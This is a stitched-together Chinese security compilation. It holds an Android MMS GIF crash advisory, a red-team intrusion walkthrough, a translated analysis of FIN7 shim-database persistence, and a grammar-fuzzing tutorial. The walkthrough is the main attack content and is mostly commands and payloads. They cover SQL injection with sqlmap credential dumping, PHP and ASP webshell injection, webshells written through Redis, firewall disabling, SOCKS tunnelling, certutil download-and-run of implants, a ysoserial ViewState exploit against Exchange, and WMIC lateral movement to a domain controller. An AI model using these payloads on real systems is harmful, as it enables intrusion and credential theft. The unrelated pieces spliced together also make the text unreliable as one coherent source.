此外，该应用程序的无法访问可以作为潜在攻击的催化剂，设备所有者无法看到、删除或控制。例如，这些攻击可能需要接管设备的 **SMS/MMS**
功能，或者发送和接收已知使用某些移动威胁的含有恶意软件的短信。
**
**
**技** **术分析**
该漏洞涉及许多未处理的Java级 **空指针异常**
(NPEs)，我们在信息应用程序解析GIF文件的过程中发现了这些异常。攻击者只需要一个电话号码，就可以利用这个缺陷将恶意的GIF文件发送给潜在的受害者。
Android消息使用 **FrameSequenceDrawable**
来显示GIF文件。FrameSequence首先构建一个基于GIF文件的位图对象，然后组件使用这个位图来显示GIF。然而，我们看到，acquireAndValidateBitmap函数调用位图中的方法“acquireBitmap”(包含图像文件的像素数据)，而不检查它是否有效。
目前，涉及的相关应用程序，可通过Janus平台(htttp://appscan.io)进行查看，搜索相关字符串“FrameSequenceDrawable”可以查看相关应用程序。
当FrameSequence试图从一个畸形的GIF构建位图时，我们看到“acquireBitmap”函数会失败并返回一个空值。因此，如果另一个模块/组件或变量引用这个空对象，则将触发NPE。
忧伤的是，Android操作系统和Android信息应用程序都无法处理这个异常。这会导致信息应用在解析MMS中畸形GIF文件时发生崩溃。
**
**
**缓解措施**
用户可以选择刷机或将其恢复为出厂设置。这会删除恶意GIF文件以及存储在设备中的所有其他文件。用户需要衡量此操作的风险——或者先考虑备份文件——然后刷机或恢复出厂设置机。需要注意的是，卸载并重新安装应用程序无法解决崩溃。
减轻利用此漏洞的攻击的另一种方法是手动禁用Android信息的“自动下载彩信”功能。或者利用另一种方法，使用不受影响的信息应用程序手动删除恶意MMS文件。
移动设备越来越普及，必须采用良好的安全习惯来缓解(如果不能防止)可能利用这种缺陷产生的威胁。在收到未经请求的、可疑的、未知的消息和链接时，要更加谨慎，并定期更新设备的操作系统及其应用程序。
幸运的是，最新版本的Nexus和Pixel设备都有更统一或一致的补丁。然而，其他Android设备的更新仍然是碎片化的，因此用户应该联系他们的设备制造商以获得更新。对于企业/组织来说，IT/系统管理员应该加强补丁管理策略，以帮助提高BYOD设备的安全性。
我们已经向谷歌披露了这一安全问题，他们在2017年9月1号发布的Android安全公告(https://source.android.com/security/bulletin/2017-09-01)中更新了一个补丁，并已经在谷歌商店部署。补丁会捕获未处理的java级异常。谷歌还增加了安全网络日志，以监视任何利用该漏洞的攻击。 | 社区文章 |
# 前言
在红队攻防中，需要我们拥有综合能力，不仅仅是web渗透的漏洞挖掘与利用，边界突破的方式有很多种，当然这需要我们拥有很强的意识，包括从web网站撕破口子，需要对各种漏洞的原理与利用了然于心，或者是通过社工钓鱼等方式，还需要我们拥有很强的代码功底，从代码的层面去分析问题，或者去写相关脚本进行利用，需要我们具有与杀软对抗的能力，需要我们熟悉web渗透，内网渗透，红队攻防的流程，进入内网之后，快速分析网络环境，以及自己所处的位置，找到拿到目标的最佳方法。
# 第一层 DMZ区
访问目标站点
端口扫描
nmap -sT xxx.xxx.xxx.xxx
目录扫描：
把它的备份文件下载到了本地，解压源码进行代码审计
## 代码审计拿密码
搜索请求类型：GET、POST、COOKIE、REQUST、SESSION
尽可能的找到一些关键点比如下面的“MYSQLBAKPASSWORD”
全局搜索这个关键点
d94354ac9cf3024f57409bd74eec6b4c使用MD5解密为：adminadminadmin
搜索关键点：密码
找到一个请求方法
“?action=mysqldatabak_down&pwd=您设置的数据库备份密码”
全局搜索这个方法名“mysqldatabak_down”
找到一个数据库备份下载的页面，尝试去访问
<http://xxx.xxx.xxx/kss_admin/admin_data.php>
却提示未知的方法请求，上面的说到找到了密码和一个请求方法，可以直接利用：
[http://xxx.xxx.xxx/kss_admin/admin_data.php?action=mysqldatabak_down&pwd=adminadminadmin](http://xxx.xxx.xxx/kss_admin/admin_data.php?action=mysqldatabak_down&pwd=adminadminadmin)
访问后直接下载数据库备份文件，这时候就可以尝试找管理员账号密码进行登录。
检查配置文件是否存留本地
得到数据库备份文件后就自行导入数据库
启动phpstudy，打开MySQL_Front工具
新建数据库，输入SQL文件
注意字符集是UTF-8
找到管理员账号密码进行登录，这里可以找到解密后的密码
## SQL注入拿密码
hackbar构造payload：
http://xxx.xxx.xxx/kss_inc/payapi_return2.php
v_oid=' or 1=1 #&v_pstatus=20&v_amount=1&v_moneytype=1&remark1=1&v_md5str=121212
v_oid存在布尔盲注，为真的时候返回订单金额不符
为假的时候返回，订单未找到
请求包如下：
POST /kss_inc/payapi_return2.php HTTP/1.1
Host: xxx.xxx.xxx
Content-Length: 71
Cache-Control: max-age=0
Origin: http://xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: xxx.xxx.xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx.xxx.xxx/kss_inc/payapi_return2.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx.xxx.xxx
Connection: close
v_oid=*&v_pstatus=20&v_amount=1&v_moneytype=1&remark1=1&v_md5str=121212
保存成sql.txt
python3 sqlmap.py -r sql.txt --dbms mysql -v 1 -p v_oid --dump -C "username,password" -D "xxx" -T "kss_tb_manager" --batch
成功注入出账号和密码
## 代码审计拿shell
### 数据库备份邮箱拿shell
发现密码是存留在配置文件里的，那就反回去看配置文件是否可以利用
攻击地址：
<http://xxx.xxx.xxx/>
输入账号密码，登录后发现系统设置页面是/kss_inc/_config.php文件里的内容，是可以直接写入webshell
如：');@eval($_POST[a]);('
连接地址：
http://xxx.xxx.xxx/kss_inc/_config.php
http://xxx.xxx.xxx/kss_admin/index.php
密码：a
木马写入在
### 后台shell
构造payload：
http://x.x.x/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action='<?php%2520eval($_POST[aye]);echo%2520"aye666"?>
漏洞利用
连接地址：
<http://x.x.x/kss_tool/_webup.php>
密码：aye
## 提权宝塔系统Bypass Disable Function
禁用函数
passthru,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,putenv,exec
既然“宝塔”禁用这么多函数，权限却是“system”，那就找找宝塔的配置文件、后台路径。
后台路径：C:/BtSoft/panel/panel/data/admin_path.pl
<http://xxx.xxx.xxx:8888/e1VOsmtO/>
密码：C:/BtSoft/panel/data/default.pl(初始默认密码)
jSKyFFdj
宝塔的登录端口C:/BtSoft/panel/data/port.pl
8888
登录账号：C:/BtSoft/panel/panel/data/default.db(账号和加密的密码)
然后通过把宝塔的 default.db 文件下载到本地打开，users 表里就是宝塔的登陆账号密码：
成功登录
成功登录
进入后台后可以考虑计划任务命令执行或者直接点，解封一个命令执行函数
成功执行命令
查看进程：tasklist
存在火绒
## cs拿shell
打开CS，这是个服务器与客户端多对多架构的工具，先开服务端
./teamserver x.x.x admin
在Listeners面板中点击Add按钮，新建一个监听器，如图
生成Payload 这里使用Pakages生成一个Payload。在菜单栏中依次选择Attacks→Pakages→Payload
Generator命令，如图
保持默认配置，选择已经创建的监听器，设置输出类型为powershell，注意勾选x64，然后点击Generate按钮， 如图
这里把ps1传到个人服务器做远程加载演示，服务器一定要能被访问到，上传后可访问,下一步，即执行powershell命令，可powershell行为特征也被火绒记录在册，可通过对部分命令进行修改，绕过火绒该防护，免杀部分会单独分享，此处只提供作为红队攻击成员如何实战。
成功绕过火绒的防护，cs成功上线
注入进程
### 进行信息收集
抓取到hash
通过解密得到了 administrator 的密码
查看防火墙（需要administrator权限）
shell netsh firewall show state
可以看到防火墙是开启的
关闭防火墙
shell netsh advfirewall set allprofiles state off
打开3389端口
绕过火绒添加用户
蚂蚁剑或者cs上传添加用户的exe文件并运行
### 远程登陆
# 第二层 办公区
## Earthworm穿透
上传EW（Earthworm）到C:/wwwroot/
服务器端执行以下命令(关掉目标站的防火墙代理才能生效)
execute C:\wwwroot\ew.exe -s ssocksd -l 1090
这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf
socks5 x.x.x 1090
探测内网网段存活主机
proxychains nmap -sT -Pn -p 80 x.x.x.0/24
192.168.59.4是存活的，我们着重看一下,发现开了80和6379
## Redis-getshell
kali环境进行爆破
proxychains hydra -P /usr/share/john/password.lst 192.168.59.4 redis 6379
连接redis
cd /redis-stable
proxychains src/redis-cli -h 192.168.59.4 -a xxxx
备份文件写Shell
192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot" 进入默认目录
192.168.59.4:6379>config set dbfilename "redis.asp" 创建文件
192.168.59.4:6379>set x "<%eval request(\"chopper\")%>" 写入webshell
192.168.59.4:6379>save 最后保存
利用过程
代理蚁剑进行连接这个shell
连接地址
<http://192.168.59.4/redis.asp>
密码
chopper
成功连接到server-redis
并查看权限
利用蚁剑把SweetPotato.exe（甜土豆）上传到C:/Redis/或者C:/ProgramData/目录下
成功进行提权
## cs拿到shell
然后设置中转监听，这个监听IP要内网可以通信的内网IP，然后生成木马
对生成的exe文件进行免杀
先把木马通过蚂蚁剑上传到宝塔(需要进行免杀)，火绒未告警
通过redis的shell进行操作，192.168.59.4远程下载192.168.59.133上的马
C:\ProgramData\xx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/beacon.exe beacon.exe
再通过提权工具进行执行
C:\ProgramData\xx.exe -i -c "beacon.exe"
此时查看cs，已成功上线
同样注入进程
## 进行信息收集
shell ipconfig
logonpasswords
查看防火墙（需要administrator权限）
shell netsh firewall show state
可以看到防火墙是开启的
关闭防火墙
shell netsh advfirewall set allprofiles state off
打开3389端口
挂代理，通过之前上传的EW（Earthworm）到C:/wwwroot/
Proxifier配置
可以通过redis的shell进行操作添加用户，也可以使用cs添加用户
### 远程登陆
# 第三层 核心区
通过蚂蚁剑将nbtscan.exe上传到第二层的Redis可读写目录下
探测内网段存活
nbtscan.exe 10.10.10.0/24
## 代理出网，拿下邮服
此时绘制出整个目标网络拓扑图如下：
将ew上传到bt和redis
首先，在VPS上开启如下监听，将1080端口监听的流量都转发到本地的888端口（关掉防火墙，要能够相互访问）
ew.exe -s lcx_listen -l 1080 -e 888
然后在服务器B上执行如下命令，监听本地的999端口
execute C:\ew.exe -s ssocksd -l 999
最后在服务器A上执行如下命令，将VPS的888端口和服务器B的999端口连接起来
execute C:\ew.exe -s lcx_slave -d x.x.x.x -e 888 -f 192.168.59.4 -g 999
以上命令都执行完之后，设置socks5代理为VPS的1080端口
即可成功访问目标的exchange服务。
[https://10.10.10.209/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2f10.10.10.209%2fowa%2f%23authRedirect%3dtrue](https://10.10.10.209/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2f10.10.10.209%2fowa%2f%23authRedirect%3dtrue)
对ex13进行攻击
nmap -sT 10.10.10.209 -p80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389
蚂蚁剑可通过更改代理进行连接
在 Redis 上的“C:\Users\Administrator\Documents\Outlook文件\”找到对应文件以及关键邮箱找到了 pts 文件：
下载到本地，通过将两个pst导入outlook可以看到exchange的一个账号密码
登陆成功，访问<https://10.10.10.209/ecp/default.aspx>
获取viewstateuserkey
__VIEWSTATEGENERATOR=B97B4E27
## cs拿到shell
然后设置中转监听，这个监听IP要内网可以通信的内网IP，然后生成木马
将木马通过cs上传到redis服务器的redis目录下
使用exp执行payload：
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /ccertutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe && ex13.exe" --validationalg="SHA1" --validationkey="CB2721xx89A25303BF" --generator="B97xxE27" --viewstateuserkey="80xxxce6f" --isdebug –islegacy
生成的payload，进行url编码
拼接成攻击的连接,反弹shell，得到Exchange服务器的System权限的会话
https://10.10.10.209/ecp/default.aspx?__VIEWSTATEGENERATOR=xxx&__VIEWSTATE=xxx
此时页面会返回500错误
查看cs，已上线
同样迁移进程
或者下载后门文件到exchange
# 第三层 域控
读取到本地有dc账号记录，那就可以直接用wmic横行操作一波
Mimikatz抓取到dc的账号密码
在server-ex机器上使用自带的WMIC.exe执行命令
shell C:\Windows\System32\wbem\WMIC.exe /node:10.10.10.201 /user:Administrator /password:xxx process call create "cmd /c certutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe && ex13.exe"
成功上线cs
同样迁移进程
同样添加用户
同样挂代理
### 远程登陆
# 总结
在红队攻防实战中，作为一名红队攻击成员，要做到从外网进行边界突破，进入内网，绕过层层杀软与防护，分析面临的情况与问题，最终拿下目标。
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。
博客:
<https://rdyx0.github.io/>
先知社区：
<https://xz.aliyun.com/u/37846>
SecIN:
<https://www.sec-in.com/author/3097>
CSDN:
<https://blog.csdn.net/weixin_48899364?type=blog>
公众号：
[https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect)
FreeBuf：
<https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85> | 社区文章 |
# 【技术分享】深入分析商业间谍FIN7黑客组织使用的权限维持技术
|
##### 译文声明
本文是翻译文章，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **童话**](http://bobao.360.cn/member/contribute?uid=2782911444)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
**今年年初，Mandiant（美国麦迪安网络安全公司）发现了多起网络攻击事件，我们认为这些攻击事件为FIN7黑客组织所为，这是一个经济利益驱使的黑客组织**
，该组织的恶意攻击行为最早可追溯到2015年。在各种不同的环境中，FIN7利用CARBANAK后门，该组织在以前的攻击场景中经常使用该后门。
**该黑客组织发起的攻击事件的独特之处在于如何安装CARBANAK后门进行权限维持。** Mandiant（美国麦迪安网络安全公司）分析发现
**该组织利用shim数据库在不同的系统环境下实现权限维持。**
shim将恶意的内存补丁注入到服务控制管理器（“services.exe”）进程中，然后产生一个CARBANAK后门进程。
Mandiant（美国麦迪安网络安全公司）分析指出，FIN7还使用这种技术来安装payment
card采集工具用于权限维持。这是FIN7黑客组织以前的方法，为了注入恶意进程维持权限会先安装一个恶意的Windows服务。
**Shim功能概要（解决古老的程序兼容问题）**
引用Microsoft的官方说明，[程序兼容Shim](https://technet.microsoft.com/en-us/library/dd837644\(v=ws.10\).aspx)（application compatibility
shim）是一个可以通过hook透明拦截API的小型函数库，可以[篡改传输函数的参数值](https://blogs.technet.microsoft.com/askperf/2011/06/17/demystifying-shims-or-using-the-app-compat-toolkit-to-make-your-old-stuff-work-with-your-new-stuff/)，可以处理一些自己的操作，也可以执行其他的操作（例如存储在当前系统中的其他位置的代码）。
**现如今，Shim的存在主要解决的问题是处理一些古老应用程序的兼容性问题（译者注：部分古老的应用程序采用一些过时或已被弃用的API，都过Shim可以hook这些API替换为较流行的函数，进而解决程序的兼容性问题）。**
可以看到，Shim是一个合法的功能，出于一个善意的目的，去解决系统迭代产生的问题，由于技术的两面性，其功能有可能被滥用执行一些恶意的操作。Mandiant（美国麦迪安网络安全公司）的安全顾问曾经在[BruCon](http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf)和[BlackHat](https://www.blackhat.com/docs/asia-14/materials/Erickson/Asia-14-Erickson-Persist-It-Using-And-Abusing-Microsofts-Fix-It-Patches.pdf)讨论过Shim数据库被滥用可能产生的安全问题。
**Shim数据库注册表**
在当前操作系统上注册shim数据库有多种方式，其中一种方法就是使用系统内置的“sdbinst.exe”命令行工具。图1展示的就是使用“sdbinst.exe”命令行工具注册shim时创建的两个注册表键。
图1：Shim数据库注册表键
一旦shim数据库在系统上成功注册，shim数据库文件（后缀名为“.sdb”）将被复制到"C:WindowsAppPatchCustom"(32位shim)目录下（64位shim将被复制到"C:WindowsAppPatchCustomCustom64"目录下)。
**恶意Shim数据库安装**
在操作系统上安装和注册恶意shim数据库，FIN7使用自定义经过Base64编码的PowerShell脚本，该脚本的功能是运行“sdbinst.exe”命令行工具注册一个经过修改插入恶意代码的shim数据库，图2为经过还原的FIN7
PowerShell脚本中解码的部分截图，列出了执行的命令及参数。
图2：FIN7 PowerShell脚本安装自定义Shim数据库文件的部分截图
FIN7黑客组织使用“sdbinst.exe”命令行工具在目标操作系统上创建和注册不同命名规则的shim数据库文件。但有一个共同点是，都会创建一个后缀名为“.tmp”的Shim数据库文件（如图3所示）。
图3：恶意Shim数据库文件示例
当前的恶意shim数据库文件再操作系统上注册后，一个后缀名为“.sdb”，文件名为随机GUID值的shim数据库文件（恶意文件）将在其64位的默认目录（"C:WindowsAppPatchCustomCustom64"）下创建，如图4所示。该shim数据库文件具有与最初在“C:WindowsTemp”目录下创建的文件具有相同的MD5
hash值。
图4：注册后的shim数据库文件
除此之外，与之相关的注册表键也将在shim数据库注册表中创建。图5展示了与此shim安装相关的注册表键值关系。
图5：注册表键值关系
用于shim数据库注册表的数据库描述（DatabaseDescription）“Microsoft
KB2832077”是很有意思的，因为这个KB编号不是一个Microsoft官方发布的更新补丁编号。如图6所示，该描述出现在受影响的操作系统中的Windows控制面板的已安装程序列表中。
图6：作为已安装应用程序的Shim数据库
**恶意Shim数据库细节分析**
经过研究分析，Mandiant（美国麦迪安网络安全公司）分析出FIN7黑客组织向全版本操作系统（32位、64位）中的“services.exe”中注入自定义的Shim数据库（将原生Shim数据库文件植入CARBANAK后门payload）。当操作系统启动“services.exe”进程执行时，CARBANAK后门payload将会执行。shim数据库文件包含第一阶段加载的shellcode，其余的shellcode
payload存储在注册表键中。图7列出了FIN7黑客组织利用的[解析](https://github.com/williballenthin/python-sdb)shim数据库文件。
图7：解析shim数据库
对于第一阶段加载的程序，FIN7黑客组织改写了services.exe进程中相对虚拟地址
(RVA)“0x0001407c”对应“ScRegisterTCPEndpoint”
函数的代码，执行带有恶意shellcode的shim数据库。新的“ScRegisterTCPEndpoint”函数（shellcode）包含了对“REGISTRYMACHINESOFTWAREMicrosoftDRM”路径的引用。该路径下的内容为存贮在操作系统中其余的恶意shellcode和CARBANAK
DLL（FIN7黑客组织使用的后门程序）payload。
图8展示了在恢复的shim数据库文件中解析补丁结构的部分截图
图8：从shim数据库文件中解析补丁结构
存储在注册表“HKLMSOFTWAREMicrosoftDRM”中的shellcode可以利用ntdll中的API函数“RtlDecompressBuffer”进行解压缩出payload。该程序在执行CARBANAK
DLL（FIN7黑客组织使用的后门程序）payload的入口函数之前会休眠4分钟。一旦payload加载进内存，就会创建一个包含CARBANAK
DLL名为“svchost.exe”的新进程。
**总结一下完整的攻击过程**
图9是一个完整的行为流程图，利用shim数据库向64位的“services.exe”进程中注入shellcode最终实现权限维持。
图9：Shim数据库代码注入过程
**如何检测电脑是否被该恶意代码感染？**
Mandiant（美国麦迪安网络安全公司）推荐了以下几种方式检测操作系统是否受到这种恶意Shim数据库的感染。
**1.监控默认shim数据库下新创建的shim数据库文件：“C:WindowsAppPatchCustom”（32位），“C:WindowsAppPatchCustomCustom64”（64位）**
**2.监控以下注册表键的创建或修改事件：“HKLMSOFTWAREMicrosoftWindows
NTCurrentVersionAppCompatFlagsCustom”和“HKLMSOFTWAREMicrosoftWindows
NTCurrentVersionAppCompatFlagsInstalledSDB”**
**3.监控进程执行事件和恶意使用“sdbinst.exe”命令行工具执行的参数的异常行为。** | 社区文章 |
**作者：时钟@RainSec
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## Fuzzing input
Fuzzing的一大核心思想其实就是通过大量的Input去触发程序的各个分支逻辑，因此Fuzzing的成功与否和Input的生成关系密切。Input的格式多种多样，可以是文件，代码，json数据等等。但是各种各样的数据都有自己的格式，程序的输入也是如此，那么在生成Input的过程中，格式化非常关键，程序无法接受的输入对于Fuzzing来说是毫无意义的。
为了很好的描述一个程序的输入，一个很有必要的事情是为输入制定一些语法规范。比如编译器的输入：python解释器规定了符合python语法的程序才能得以执行，gcc规定了符合C语言语法的程序才能被完成编译进而生成二进制文件。Fuzzing也是如此，为了很好的达到Fuzzing的效果，为程序定义一种输入的语法规范往往是一种不错的选择。
一般而言，对于Fuzzing简单的程序来说，正则表达式往往是一个不错的选择，它所具备的有限状态机属性使得它易于推理进而获得一个满意的Input。但是如果面临的Fuzzing目标需要非常复杂的输入，那么它就会表现的捉襟见肘。
我曾见过为了更好的实现某些功能而专门设计一些语言，从计算机理论的角度这显然是非常有用的，一些特殊功能在特殊语言的加持之下表现出超高的质量，但是对于Fuzzing而言这确实是成本过高了，Grammars其实就是正则表达式和专业语言之间的一个中间地带。它易于理解，并且能很好的完成Fuzzing对它的期望
--生成大量合法输入，因为通过Grammars可以规定Inputs的大量属性，完美的表达一个复杂输入的语法结构。
## Grammars初探
Grammar一般由符号和一组表达式组成，例如`A = 10 | 9 | 0 |1`，符号化使得递归成为可能，假设`B = A |
AB`，这无疑就使得符号所代表的范围倍增。根据这种思想我们可以制作一个算数表达式：
<start> ::= <expr>
<expr> ::= <term> + <expr> | <term> - <expr> | <term>
<term> ::= <term> * <factor> | <term> / <factor> | <factor>
<factor> ::= +<factor> | -<factor> | (<expr>) | <integer> | <integer>.<integer>
<integer> ::= <digit><integer> | <digit>
<digit> ::= 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9
那么通过对`<start>`的内部的符号进行逐一扩展，并对过程进行随机化处理，最终就可以得到大量的合法算数表达式。和大多数语法一样，Grammar也应该有自己的Type，以便对其合法性进行校验，以Python
为例子可以对上述的Grammar进行定义：
Option = Dict[str, Any]
Expansion = Union[str, Tuple[str, Option]]
Grammar = Dict[str, List[Expansion]]
EXPR_GRAMMAR: Grammar = {
"<start>":
["<expr>"],
"<expr>":
["<term> + <expr>", "<term> - <expr>", "<term>"],
"<term>":
["<factor> * <term>", "<factor> / <term>", "<factor>"],
"<factor>":
["+<factor>",
"-<factor>",
"(<expr>)",
"<integer>.<integer>",
"<integer>"],
"<integer>":
["<digit><integer>", "<digit>"],
"<digit>":
["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
}
前三行代码定义了一个Grammar应该如何在Python中构成。通过代码中的`EXPR_GRAMMAR["<digit>"]`可以访问当前Grammar的各个组成部分并对其进行操作。
### Sample Grammar Fuzz
那么该如何对Grammar语法进行解析呢？一种最简单的方式就是通过字符串替换，因为在Grammar中`:`的左右两侧本身就是一种映射关系，因此利用字符串替换不断迭代是一种最为直观的选择。
实例代码：
START_SYMBOL = "<start>"
# 一个简单的gramar fuzzer
def simple_grammar_fuzzer(grammar: Grammar,
start_symbol: str = START_SYMBOL,
max_nonterminals: int = 10,
max_expansion_trials: int = 100,
log: bool = False) -> str:
"""Produce a string from `grammar`.
`start_symbol`: use a start symbol other than `<start>` (default).
`max_nonterminals`: the maximum number of nonterminals
still left for expansion
`max_expansion_trials`: maximum # of attempts to produce a string
`log`: print expansion progress if True"""
term = start_symbol
expansion_trials = 0
while len(nonterminals(term)) > 0: # 判断字符串中是否存在<>，并返回所有被<>包裹的项，注意如果是<dsad<abc>>则返回<abc>
symbol_to_expand = random.choice(nonterminals(term))
expansions = grammar[symbol_to_expand]
expansion = random.choice(expansions)
# In later chapters, we allow expansions to be tuples,
# with the expansion being the first element
if isinstance(expansion, tuple):
expansion = expansion[0]
new_term = term.replace(symbol_to_expand, expansion, 1) # 解析下一个符号
if len(nonterminals(new_term)) < max_nonterminals: # 每次的可解析符号，必须少于最大单次解析量
term = new_term
if log:
print("%-40s" % (symbol_to_expand + " -> " + expansion), term)
expansion_trials = 0
else:
expansion_trials += 1
if expansion_trials >= max_expansion_trials: # 总的解析次数也存在限制
raise ExpansionError("Cannot expand " + repr(term))
return term
利用上面的表达式Grammar可以制作一个简单的grammar
fuzz，Fuzz的编写过程其实面临着很多的取舍，便利和速度或者各种各样的可行性之间的考虑，以上面的Grammar为例子，我们肯定不希望其陷入类似无限递归或者大量符号解析的情况，而是会限制对字段的提取次数和对符号的解析次数。
但是此类Grammar
Fuzz都面临几个问题就是大量的字符串搜索和替换操作导致效率低下，而且可以看出存在Input生成失败的情况（ExpansionError），而且这是一个典型的上下文无关的Fuzz。不过，依赖于上述功能，我们只要编写Grammar就可以很好的对一些Inputs进行大量生成。
比如URL生成：
URL_GRAMMAR: Grammar = {
"<start>":
["<url>"],
"<url>":
["<scheme>://<authority><path><query>"],
"<scheme>":
["http", "https", "ftp", "ftps"],
"<authority>":
["<host>", "<host>:<port>", "<userinfo>@<host>", "<userinfo>@<host>:<port>"],
"<host>": # 大部分情况下其实可以指定一个URL
["cispa.saarland", "www.google.com", "fuzzingbook.com"],
"<port>":
["80", "8080", "<nat>"],
"<nat>":
["<digit>", "<digit><digit>"],
"<digit>":
["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"],
"<userinfo>": # Just one
["user:password"],
"<path>": # Just a few
["", "/", "/<id>"],
"<id>": # Just a few
["abc", "def", "x<digit><digit>"],
"<query>":
["", "?<params>"],
"<params>":
["<param>", "<param>&<params>"],
"<param>": # Just a few
["<id>=<id>", "<id>=<nat>"],
}
或者类似HTTP协议的（但是这个不是为上述Fuzz准备的，只是拿来做个参考）：
{
"<A>": [["<START_LINE>", "\r\n", "<HEADERS>", "<BODY>", "\r\n\r\n"]],
"<START_LINE>": [["<METHOD>", " ", "<URI>", " ", "<VERSION>"]],
"<METHOD>": [["GET"], ["HEAD"], ["POST"], ["PUT"], ["DELETE"], ["CONNECT"], ["OPTIONS"], ["TRACE"], ["PATCH"], ["ACL"], ["BASELINE-CONTROL"], ["BIND"], ["CHECKIN"], ["CHECKOUT"], ["COPY"], ["LABEL"], ["LINK"], ["LOCK"], ["MERGE"], ["MKACTIVITY"], ["MKCALENDAR"], ["MKCOL"], ["MKREDIRECTREF"], ["MKWORKSPACE"], ["MOVE"], ["ORDERPATCH"], ["PRI"], ["PROPFIND"], ["PROPPATCH"], ["REBIND"], ["REPORT"], ["SEARCH"], ["UNBIND"], ["UNCHECKOUT"], ["UNLINK"], ["UNLOCK"], ["UPDATE"], ["UPDATEREDIRECTREF"], ["VERSION-CONTROL"]],
"<URI>": [["<SCHEME>" , ":", "<HIER>", "<QUERY>", "<FRAGMENT>"]],
"<SCHEME>": [["http"], ["https"], ["shttp"], ["dav"], ["about"], ["attachment"], ["cid"], ["data"], ["file"], ["ftp"], ["ssh"], ["sip"]],
"<HIER>": [["//", "<AUTHORITY>", "<PATH>"]],
"<AUTHORITY>": [["<USERINFO>", "<HOST>"]],
"<PATH>": [["/", "<DIR>"]],
"<DIR>": [[], ["<CHAR>", "/", "<DIR>"]],
"<USERINFO>": [[], ["<CHAR>", ":", "<CHAR>", "@"]],
"<HOST>": [["127.0.0.1:8080"]],
"<QUERY>": [[], ["?", "<CHAR>" , "=", "<CHAR>"]],
"<FRAGMENT>": [[], ["#", "<CHAR>"]],
"<VERSION>": [["HTTP/0.9"], ["HTTP/1.0"], ["HTTP/1.1"], ["HTTP/2.0"], ["HTTP/3.0"]],
"<HEADERS>": [[], ["<HEADER>", "\r\n", "<HEADERS>"]],
"<HEADER>": [["<HEADER_FIELD>", ": ", "<ANY>"]],
"<HEADER_FIELD>": [["A-IM"], ["Accept"], ["Accept-Charset"], ["Accept-Datetime"], ["Accept-Encoding"], ["Accept-Language"], ["Access-Control-Request-Method"], ["Access-Control-Request-Headers"], ["Authorization"], ["Cache-Control"], ["Connection"], ["Content-Encoding"], ["Content-Length"], ["Content-MD5"], ["Content-Type"], ["Cookie"], ["Date"], ["Expect"], ["Forwarded"], ["From"], ["Host"], ["HTTP2-Settings"], ["If-Match"], ["If-Modified-Since"], ["If-None-Match"], ["If-Range"], ["If-Unmodified-Since"], ["Max-Forwards"], ["Origin"], ["Pragma"], ["Proxy-Authorization"], ["Range"], ["Referer"], ["TE"], ["Trailer"], ["Transfer-Encoding"], ["User-Agent"], ["Upgrade"], ["Via"], ["Warning"]],
"<BODY>": [[], ["<CHAR>"]],
"<ANY>": [[], ["<DATE>"], ["<CHAR>"], ["<HOST>"], ["<URI>"]],
"<DATE>": [["Sat, 29 Oct 1994 19:43:31 GMT"]],
"<CHAR>": [["0"], ["1"], ["2"], ["3"], ["4"], ["5"], ["6"], ["7"], ["8"], ["9"], ["a"], ["b"], ["c"], ["d"], ["e"], ["f"], ["g"], ["h"], ["i"], ["j"], ["k"], ["l"], ["m"], ["n"], ["o"], ["p"], ["q"], ["r"], ["s"], ["t"], ["u"], ["v"], ["w"], ["x"], ["y"], ["z"], ["A"], ["B"], ["C"], ["D"], ["E"], ["F"], ["G"], ["H"], ["I"], ["J"], ["K"], ["L"], ["M"], ["N"], ["O"], ["P"], ["Q"], ["R"], ["S"], ["T"], ["U"], ["V"], ["W"], ["X"], ["Y"], ["Z"]]
}
